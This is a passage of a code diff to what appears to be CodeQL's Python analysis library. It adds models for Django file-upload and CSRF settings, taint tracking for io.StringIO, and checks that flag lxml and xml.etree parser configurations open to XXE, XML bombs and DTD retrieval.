@@ -4625,6 +4729,10 @@ private module FlowExploration {
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
not clearsContentEx(node, ap.getHead().getContent()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead().getContent())
|
||||
) and
|
||||
if node.asNode() instanceof CastingNode
|
||||
then compatibleTypes(node.getDataFlowType(), ap.getType())
|
||||
else any()
|
||||
|
||||
@@ -328,6 +328,9 @@ private module Cached {
|
||||
cached
|
||||
predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
|
||||
|
||||
cached
|
||||
predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
|
||||
|
||||
cached
|
||||
predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
|
||||
|
||||
|
||||
@@ -813,6 +813,12 @@ predicate clearsContent(Node n, Content c) {
|
||||
attributeClearStep(n, c)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if the value that is being tracked is expected to be stored inside content `c`
|
||||
* at node `n`.
|
||||
*/
|
||||
predicate expectsContent(Node n, ContentSet c) { none() }
|
||||
|
||||
/**
|
||||
* Holds if values stored inside attribute `c` are cleared at node `n`.
|
||||
*
|
||||
|
||||
@@ -211,7 +211,7 @@ class CallCfgNode extends CfgNode, LocalSourceNode {
|
||||
*/
|
||||
Node getFunction() { result.asCfgNode() = node.getFunction() }
|
||||
|
||||
/** Gets the data-flow node corresponding to the i'th argument of the call corresponding to this data-flow node */
|
||||
/** Gets the data-flow node corresponding to the i'th positional argument of the call corresponding to this data-flow node */
|
||||
Node getArg(int i) { result.asCfgNode() = node.getArg(i) }
|
||||
|
||||
/** Gets the data-flow node corresponding to the named argument of the call corresponding to this data-flow node */
|
||||
|
||||
@@ -737,6 +737,38 @@ module PrivateDjango {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Provides models for the `django.db.models.FileField` class and `ImageField` subclasses.
|
||||
*
|
||||
* See
|
||||
* - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.FileField
|
||||
* - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.ImageField
|
||||
*/
|
||||
module FileField {
|
||||
/** Gets a reference to the `django.db.models.FileField` or the `django.db.models.ImageField` class or any subclass. */
|
||||
API::Node subclassRef() {
|
||||
exists(string className | className in ["FileField", "ImageField"] |
|
||||
// commonly used alias
|
||||
result =
|
||||
API::moduleImport("django")
|
||||
.getMember("db")
|
||||
.getMember("models")
|
||||
.getMember(className)
|
||||
.getASubclass*()
|
||||
or
|
||||
// actual class definition
|
||||
result =
|
||||
API::moduleImport("django")
|
||||
.getMember("db")
|
||||
.getMember("models")
|
||||
.getMember("fields")
|
||||
.getMember("files")
|
||||
.getMember(className)
|
||||
.getASubclass*()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to the Manager (django.db.models.Manager) for the django Model `modelClass`,
|
||||
* accessed by `<modelClass>.objects`.
|
||||
@@ -2599,6 +2631,36 @@ module PrivateDjango {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A parameter that accepts the filename used to upload a file. This is the second
|
||||
* parameter in functions used for the `upload_to` argument to a `FileField`.
|
||||
*
|
||||
* Note that the value this parameter accepts cannot contain a slash. Even when
|
||||
* forcing the filename to contain a slash when sending the request, django does
|
||||
* something like `input_filename.split("/")[-1]` (so other special characters still
|
||||
* allowed). This also means that although the return value from `upload_to` is used
|
||||
* to construct a path, path injection is not possible.
|
||||
*
|
||||
* See
|
||||
* - https://docs.djangoproject.com/en/3.1/ref/models/fields/#django.db.models.FileField.upload_to
|
||||
* - https://docs.djangoproject.com/en/3.1/topics/http/file-uploads/#handling-uploaded-files-with-a-model
|
||||
*/
|
||||
private class DjangoFileFieldUploadToFunctionFilenameParam extends RemoteFlowSource::Range,
|
||||
DataFlow::ParameterNode {
|
||||
DjangoFileFieldUploadToFunctionFilenameParam() {
|
||||
exists(DataFlow::CallCfgNode call, DataFlow::Node uploadToArg, Function func |
|
||||
this.getParameter() = func.getArg(1) and
|
||||
call = DjangoImpl::DB::Models::FileField::subclassRef().getACall() and
|
||||
uploadToArg in [call.getArg(2), call.getArgByName("upload_to")] and
|
||||
uploadToArg = poorMansFunctionTracker(func)
|
||||
)
|
||||
}
|
||||
|
||||
override string getSourceType() {
|
||||
result = "django filename parameter to function used in FileField.upload_to"
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// django.shortcuts.redirect
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -2676,4 +2738,67 @@ module PrivateDjango {
|
||||
.getAnImmediateUse()
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Settings
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* A custom middleware stack
|
||||
*/
|
||||
private class DjangoSettingsMiddlewareStack extends HTTP::Server::CsrfProtectionSetting::Range {
|
||||
List list;
|
||||
|
||||
DjangoSettingsMiddlewareStack() {
|
||||
this.asExpr() = list and
|
||||
// we look for an assignment to the `MIDDLEWARE` setting
|
||||
exists(DataFlow::Node mw |
|
||||
mw.asVar().getName() = "MIDDLEWARE" and
|
||||
DataFlow::localFlow(this, mw)
|
||||
|
|
||||
// To only include results where CSRF protection matters, we only care about CSRF
|
||||
// protection when the django authentication middleware is enabled.
|
||||
// Since an active session cookie is exactly what would allow an attacker to perform
|
||||
// a CSRF attack.
|
||||
// Notice that this does not ensure that this is not a FP, since the authentication
|
||||
// middleware might be unused.
|
||||
//
|
||||
// This also strongly implies that `mw` is in fact a Django middleware setting and
|
||||
// not just a variable named `MIDDLEWARE`.
|
||||
list.getAnElt().(StrConst).getText() =
|
||||
"django.contrib.auth.middleware.AuthenticationMiddleware"
|
||||
)
|
||||
}
|
||||
|
||||
override boolean getVerificationSetting() {
|
||||
if
|
||||
list.getAnElt().(StrConst).getText() in [
|
||||
"django.middleware.csrf.CsrfViewMiddleware",
|
||||
// see https://github.com/mozilla/django-session-csrf
|
||||
"session_csrf.CsrfMiddleware"
|
||||
]
|
||||
then result = true
|
||||
else result = false
|
||||
}
|
||||
}
|
||||
|
||||
private class DjangoCsrfDecorator extends HTTP::Server::CsrfLocalProtectionSetting::Range {
|
||||
string decoratorName;
|
||||
Function function;
|
||||
|
||||
DjangoCsrfDecorator() {
|
||||
decoratorName in ["csrf_protect", "csrf_exempt", "requires_csrf_token", "ensure_csrf_cookie"] and
|
||||
this =
|
||||
API::moduleImport("django")
|
||||
.getMember("views")
|
||||
.getMember("decorators")
|
||||
.getMember("csrf")
|
||||
.getMember(decoratorName)
|
||||
.getAUse() and
|
||||
this.asExpr() = function.getADecorator()
|
||||
}
|
||||
|
||||
override Function getRequestHandler() { result = function }
|
||||
|
||||
override predicate csrfEnabled() { decoratorName in ["csrf_protect", "requires_csrf_token"] }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -411,21 +411,16 @@ module Flask {
|
||||
/** An `FileStorage` instance that originates from a flask request. */
|
||||
private class FlaskRequestFileStorageInstances extends Werkzeug::FileStorage::InstanceSource {
|
||||
FlaskRequestFileStorageInstances() {
|
||||
// TODO: this currently only works in local-scope, since writing type-trackers for
|
||||
// this is a little too much effort. Once API-graphs are available for more
|
||||
// things, we can rewrite this.
|
||||
//
|
||||
// TODO: This approach for identifying member-access is very adhoc, and we should
|
||||
// be able to do something more structured for providing modeling of the members
|
||||
// of a container-object.
|
||||
exists(DataFlow::AttrRead files | files = request().getMember("files").getAnImmediateUse() |
|
||||
this.asCfgNode().(SubscriptNode).getObject() = files.asCfgNode()
|
||||
exists(API::Node files | files = request().getMember("files") |
|
||||
this.asCfgNode().(SubscriptNode).getObject() = files.getAUse().asCfgNode()
|
||||
or
|
||||
this.(DataFlow::MethodCallNode).calls(files, "get")
|
||||
this = files.getMember("get").getACall()
|
||||
or
|
||||
exists(DataFlow::MethodCallNode getlistCall | getlistCall.calls(files, "getlist") |
|
||||
this.asCfgNode().(SubscriptNode).getObject() = getlistCall.asCfgNode()
|
||||
)
|
||||
this.asCfgNode().(SubscriptNode).getObject() =
|
||||
files.getMember("getlist").getReturn().getAUse().asCfgNode()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,9 @@ private import semmle.python.ApiGraphs
|
||||
* - https://lxml.de/tutorial.html
|
||||
*/
|
||||
private module Lxml {
|
||||
// ---------------------------------------------------------------------------
|
||||
// XPath
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* A class constructor compiling an XPath expression.
|
||||
*
|
||||
@@ -57,13 +60,25 @@ private module Lxml {
|
||||
*/
|
||||
class XPathCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
|
||||
XPathCall() {
|
||||
this =
|
||||
API::moduleImport("lxml")
|
||||
.getMember("etree")
|
||||
.getMember(["parse", "fromstring", "fromstringlist", "HTML", "XML"])
|
||||
.getReturn()
|
||||
.getMember("xpath")
|
||||
.getACall()
|
||||
exists(API::Node parseResult |
|
||||
parseResult =
|
||||
API::moduleImport("lxml")
|
||||
.getMember("etree")
|
||||
.getMember(["parse", "fromstring", "fromstringlist", "HTML", "XML"])
|
||||
.getReturn()
|
||||
or
|
||||
// TODO: lxml.etree.parseid(<text>)[0] will contain the root element from parsing <text>
|
||||
// but we don't really have a way to model that nicely.
|
||||
parseResult =
|
||||
API::moduleImport("lxml")
|
||||
.getMember("etree")
|
||||
.getMember("XMLParser")
|
||||
.getReturn()
|
||||
.getMember("close")
|
||||
.getReturn()
|
||||
|
|
||||
this = parseResult.getMember("xpath").getACall()
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("_path")] }
|
||||
@@ -85,4 +100,235 @@ private module Lxml {
|
||||
|
||||
override string getName() { result = "lxml.etree" }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Parsing
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* Provides models for `lxml.etree` parsers.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
*/
|
||||
module XmlParser {
|
||||
/**
|
||||
* A source of instances of `lxml.etree` parsers, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `XmlParser::instance()` to get references to instances of `lxml.etree` parsers.
|
||||
*/
|
||||
abstract class InstanceSource extends DataFlow::LocalSourceNode {
|
||||
/** Holds if this instance is vulnerable to `kind`. */
|
||||
abstract predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind);
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.XMLParser`.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
*/
|
||||
private class LxmlParser extends InstanceSource, API::CallNode {
|
||||
LxmlParser() {
|
||||
this = API::moduleImport("lxml").getMember("etree").getMember("XMLParser").getACall()
|
||||
}
|
||||
|
||||
// NOTE: it's not possible to change settings of a parser after constructing it
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
kind.isXxe() and
|
||||
(
|
||||
// resolve_entities has default True
|
||||
not exists(this.getArgByName("resolve_entities"))
|
||||
or
|
||||
this.getKeywordParameter("resolve_entities").getAValueReachingRhs().asExpr() = any(True t)
|
||||
)
|
||||
or
|
||||
kind.isXmlBomb() and
|
||||
this.getKeywordParameter("huge_tree").getAValueReachingRhs().asExpr() = any(True t) and
|
||||
not this.getKeywordParameter("resolve_entities").getAValueReachingRhs().asExpr() =
|
||||
any(False t)
|
||||
or
|
||||
kind.isDtdRetrieval() and
|
||||
this.getKeywordParameter("load_dtd").getAValueReachingRhs().asExpr() = any(True t) and
|
||||
this.getKeywordParameter("no_network").getAValueReachingRhs().asExpr() = any(False t)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.get_default_parser`.
|
||||
*
|
||||
* See https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.get_default_parser
|
||||
*/
|
||||
private class LxmlDefaultParser extends InstanceSource, DataFlow::CallCfgNode {
|
||||
LxmlDefaultParser() {
|
||||
this =
|
||||
API::moduleImport("lxml").getMember("etree").getMember("get_default_parser").getACall()
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
// as highlighted by
|
||||
// https://lxml.de/apidoc/lxml.etree.html?highlight=xmlparser#lxml.etree.XMLParser
|
||||
// by default XXE is allow. so as long as the default parser has not been
|
||||
// overridden, the result is also vuln to XXE.
|
||||
kind.isXxe()
|
||||
// TODO: take into account that you can override the default parser with `lxml.etree.set_default_parser`.
|
||||
}
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t, InstanceSource origin) {
|
||||
t.start() and
|
||||
result = origin
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2, origin).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parsers instance, with origin in `origin` */
|
||||
DataFlow::Node instance(InstanceSource origin) {
|
||||
instance(DataFlow::TypeTracker::end(), origin).flowsTo(result)
|
||||
}
|
||||
|
||||
/** Gets a reference to an `lxml.etree` parser instance, that is vulnerable to `kind`. */
|
||||
DataFlow::Node instanceVulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
exists(InstanceSource origin | result = instance(origin) and origin.vulnerableTo(kind))
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `feed` method of an `lxml` parser.
|
||||
*/
|
||||
private class LxmlParserFeedCall extends DataFlow::MethodCallNode, XML::XmlParsing::Range {
|
||||
LxmlParserFeedCall() { this.calls(instance(_), "feed") }
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
this.calls(instanceVulnerableTo(kind), "feed")
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
exists(DataFlow::Node objRef |
|
||||
DataFlow::localFlow(this.getObject(), objRef) and
|
||||
result.(DataFlow::MethodCallNode).calls(objRef, "close")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either of:
|
||||
* - `lxml.etree.fromstring`
|
||||
* - `lxml.etree.fromstringlist`
|
||||
* - `lxml.etree.XML`
|
||||
* - `lxml.etree.XMLID`
|
||||
* - `lxml.etree.parse`
|
||||
* - `lxml.etree.parseid`
|
||||
*
|
||||
* See
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstring
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.fromstringlist
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.XML
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.XMLID
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parse
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parseid
|
||||
*/
|
||||
private class LxmlParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
|
||||
string functionName;
|
||||
|
||||
LxmlParsing() {
|
||||
functionName in ["fromstring", "fromstringlist", "XML", "XMLID", "parse", "parseid"] and
|
||||
this = API::moduleImport("lxml").getMember("etree").getMember(functionName).getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// fromstring / XML / XMLID
|
||||
this.getArgByName("text"),
|
||||
// fromstringlist
|
||||
this.getArgByName("strings"),
|
||||
// parse / parseid
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
this.getParserArg() = XmlParser::instanceVulnerableTo(kind)
|
||||
or
|
||||
kind.isXxe() and
|
||||
not exists(this.getParserArg())
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
// Note: for `parseid`/XMLID the result of the call is a tuple with `(root, dict)`, so
|
||||
// maybe we should not just say that the entire tuple is the decoding output... my
|
||||
// gut feeling is that THIS instance doesn't matter too much, but that it would be
|
||||
// nice to be able to do this in general. (this is a problem for both `lxml.etree`
|
||||
// and `xml.etree`)
|
||||
result = this
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.ElementTree.parse` or `lxml.etree.ElementTree.parseid`, which
|
||||
* takes either a filename or a file-like object as argument. To capture the filename
|
||||
* for path-injection, we have this subclass.
|
||||
*
|
||||
* See
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parse
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.parseid
|
||||
*/
|
||||
private class FileAccessFromLxmlParsing extends LxmlParsing, FileSystemAccess::Range {
|
||||
FileAccessFromLxmlParsing() {
|
||||
functionName in ["parse", "parseid"]
|
||||
// I considered whether we should try to reduce FPs from people passing file-like
|
||||
// objects, which will not be a file system access (and couldn't cause a
|
||||
// path-injection).
|
||||
//
|
||||
// I suppose that once we have proper flow-summary support for file-like objects,
|
||||
// we can make the XXE/XML-bomb sinks allow an access-path, while the
|
||||
// path-injection sink wouldn't, and then we will not end up with such FPs.
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `lxml.etree.iterparse`
|
||||
*
|
||||
* See
|
||||
* - https://lxml.de/apidoc/lxml.etree.html?highlight=parseids#lxml.etree.iterparse
|
||||
*/
|
||||
private class LxmlIterparseCall extends API::CallNode, XML::XmlParsing::Range,
|
||||
FileSystemAccess::Range {
|
||||
LxmlIterparseCall() {
|
||||
this = API::moduleImport("lxml").getMember("etree").getMember("iterparse").getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
// note that there is no `resolve_entities` argument, so it's not possible to turn off XXE :O
|
||||
kind.isXxe()
|
||||
or
|
||||
kind.isXmlBomb() and
|
||||
this.getKeywordParameter("huge_tree").getAValueReachingRhs().asExpr() = any(True t)
|
||||
or
|
||||
kind.isDtdRetrieval() and
|
||||
this.getKeywordParameter("load_dtd").getAValueReachingRhs().asExpr() = any(True t) and
|
||||
this.getKeywordParameter("no_network").getAValueReachingRhs().asExpr() = any(False t)
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() { result = this }
|
||||
|
||||
override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2890,70 +2890,6 @@ private module StdlibPrivate {
|
||||
override string getKind() { result = Escaping::getRegexKind() }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// xml.etree.ElementTree
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* An instance of `xml.etree.ElementTree.ElementTree`.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.ElementTree
|
||||
*/
|
||||
private API::Node elementTreeInstance() {
|
||||
//parse to a tree
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("parse")
|
||||
.getReturn()
|
||||
or
|
||||
// construct a tree without parsing
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("ElementTree")
|
||||
.getReturn()
|
||||
}
|
||||
|
||||
/**
|
||||
* An instance of `xml.etree.ElementTree.Element`.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
|
||||
*/
|
||||
private API::Node elementInstance() {
|
||||
// parse or go to the root of a tree
|
||||
result = elementTreeInstance().getMember(["parse", "getroot"]).getReturn()
|
||||
or
|
||||
// parse directly to an element
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["fromstring", "fromstringlist", "XML"])
|
||||
.getReturn()
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to a find method on a tree or an element will execute an XPath expression.
|
||||
*/
|
||||
private class ElementTreeFindCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
|
||||
string methodName;
|
||||
|
||||
ElementTreeFindCall() {
|
||||
methodName in ["find", "findall", "findtext"] and
|
||||
(
|
||||
this = elementTreeInstance().getMember(methodName).getACall()
|
||||
or
|
||||
this = elementInstance().getMember(methodName).getACall()
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("match")] }
|
||||
|
||||
override string getName() { result = "xml.etree" }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// urllib
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -3171,6 +3107,547 @@ private module StdlibPrivate {
|
||||
result in [this.getArg(0), this.getArgByName("path")]
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// io
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* Provides models for the `io.StringIO`/`io.BytesIO` classes
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/io.html#io.StringIO.
|
||||
*/
|
||||
module StringIO {
|
||||
/** Gets a reference to the `io.StringIO` class. */
|
||||
private API::Node classRef() {
|
||||
result = API::moduleImport("io").getMember(["StringIO", "BytesIO"])
|
||||
}
|
||||
|
||||
/**
|
||||
* A source of instances of `io.StringIO`/`io.BytesIO`, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `StringIO::instance()` to get references to instances of `io.StringIO`.
|
||||
*/
|
||||
abstract class InstanceSource extends Stdlib::FileLikeObject::InstanceSource { }
|
||||
|
||||
/** A direct instantiation of `io.StringIO`/`io.BytesIO`. */
|
||||
private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
|
||||
ClassInstantiation() { this = classRef().getACall() }
|
||||
|
||||
DataFlow::Node getInitialValue() {
|
||||
result = this.getArg(0)
|
||||
or
|
||||
// `initial_value` for StringIO, `initial_bytes` for BytesIO
|
||||
result = this.getArgByName(["initial_value", "initial_bytes"])
|
||||
}
|
||||
}
|
||||
|
||||
/** Gets a reference to an instance of `io.StringIO`/`io.BytesIO`. */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result instanceof InstanceSource
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an instance of `io.StringIO`/`io.BytesIO`. */
|
||||
DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
|
||||
/**
|
||||
* Extra taint propagation for `io.StringIO`/`io.BytesIO`.
|
||||
*/
|
||||
private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep {
|
||||
override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
|
||||
nodeTo.(ClassInstantiation).getInitialValue() = nodeFrom
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// xml.etree.ElementTree
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* An instance of `xml.etree.ElementTree.ElementTree`.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.ElementTree
|
||||
*/
|
||||
private API::Node elementTreeInstance() {
|
||||
//parse to a tree
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("parse")
|
||||
.getReturn()
|
||||
or
|
||||
// construct a tree without parsing
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("ElementTree")
|
||||
.getReturn()
|
||||
}
|
||||
|
||||
/**
|
||||
* An instance of `xml.etree.ElementTree.Element`.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
|
||||
*/
|
||||
private API::Node elementInstance() {
|
||||
// parse or go to the root of a tree
|
||||
result = elementTreeInstance().getMember(["parse", "getroot"]).getReturn()
|
||||
or
|
||||
// parse directly to an element
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["fromstring", "fromstringlist", "XML"])
|
||||
.getReturn()
|
||||
or
|
||||
result =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember("XMLParser")
|
||||
.getReturn()
|
||||
.getMember("close")
|
||||
.getReturn()
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to a find method on a tree or an element will execute an XPath expression.
|
||||
*/
|
||||
private class ElementTreeFindCall extends XML::XPathExecution::Range, DataFlow::CallCfgNode {
|
||||
string methodName;
|
||||
|
||||
ElementTreeFindCall() {
|
||||
methodName in ["find", "findall", "findtext"] and
|
||||
(
|
||||
this = elementTreeInstance().getMember(methodName).getACall()
|
||||
or
|
||||
this = elementInstance().getMember(methodName).getACall()
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getXPath() { result in [this.getArg(0), this.getArgByName("match")] }
|
||||
|
||||
override string getName() { result = "xml.etree" }
|
||||
}
|
||||
|
||||
/**
|
||||
* Provides models for `xml.etree` parsers
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLParser
|
||||
* - https://docs.python.org/3.10/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLPullParser
|
||||
*/
|
||||
module XmlParser {
|
||||
/**
|
||||
* A source of instances of `xml.etree` parsers, extend this class to model new instances.
|
||||
*
|
||||
* This can include instantiations of the class, return values from function
|
||||
* calls, or a special parameter that will be set when functions are called by an external
|
||||
* library.
|
||||
*
|
||||
* Use the predicate `XmlParser::instance()` to get references to instances of `xml.etree` parsers.
|
||||
*/
|
||||
abstract class InstanceSource extends DataFlow::LocalSourceNode { }
|
||||
|
||||
/** A direct instantiation of `xml.etree` parsers. */
|
||||
private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode {
|
||||
ClassInstantiation() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["XMLParser", "XMLPullParser"])
|
||||
.getACall()
|
||||
}
|
||||
}
|
||||
|
||||
/** Gets a reference to an `xml.etree` parser instance. */
|
||||
private DataFlow::TypeTrackingNode instance(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result instanceof InstanceSource
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t))
|
||||
}
|
||||
|
||||
/** Gets a reference to an `xml.etree` parser instance. */
|
||||
DataFlow::Node instance() { instance(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
|
||||
/**
|
||||
* A call to the `feed` method of an `xml.etree` parser.
|
||||
*/
|
||||
private class XmlEtreeParserFeedCall extends DataFlow::MethodCallNode, XML::XmlParsing::Range {
|
||||
XmlEtreeParserFeedCall() { this.calls(instance(), "feed") }
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("data")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) { kind.isXmlBomb() }
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
exists(DataFlow::Node objRef |
|
||||
DataFlow::localFlow(this.getObject(), objRef) and
|
||||
result.(DataFlow::MethodCallNode).calls(objRef, "close")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either of:
|
||||
* - `xml.etree.ElementTree.fromstring`
|
||||
* - `xml.etree.ElementTree.fromstringlist`
|
||||
* - `xml.etree.ElementTree.XML`
|
||||
* - `xml.etree.ElementTree.XMLID`
|
||||
* - `xml.etree.ElementTree.parse`
|
||||
* - `xml.etree.ElementTree.iterparse`
|
||||
* - `parse` method on an `xml.etree.ElementTree.ElementTree` instance
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstring
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstringlist
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.XML
|
||||
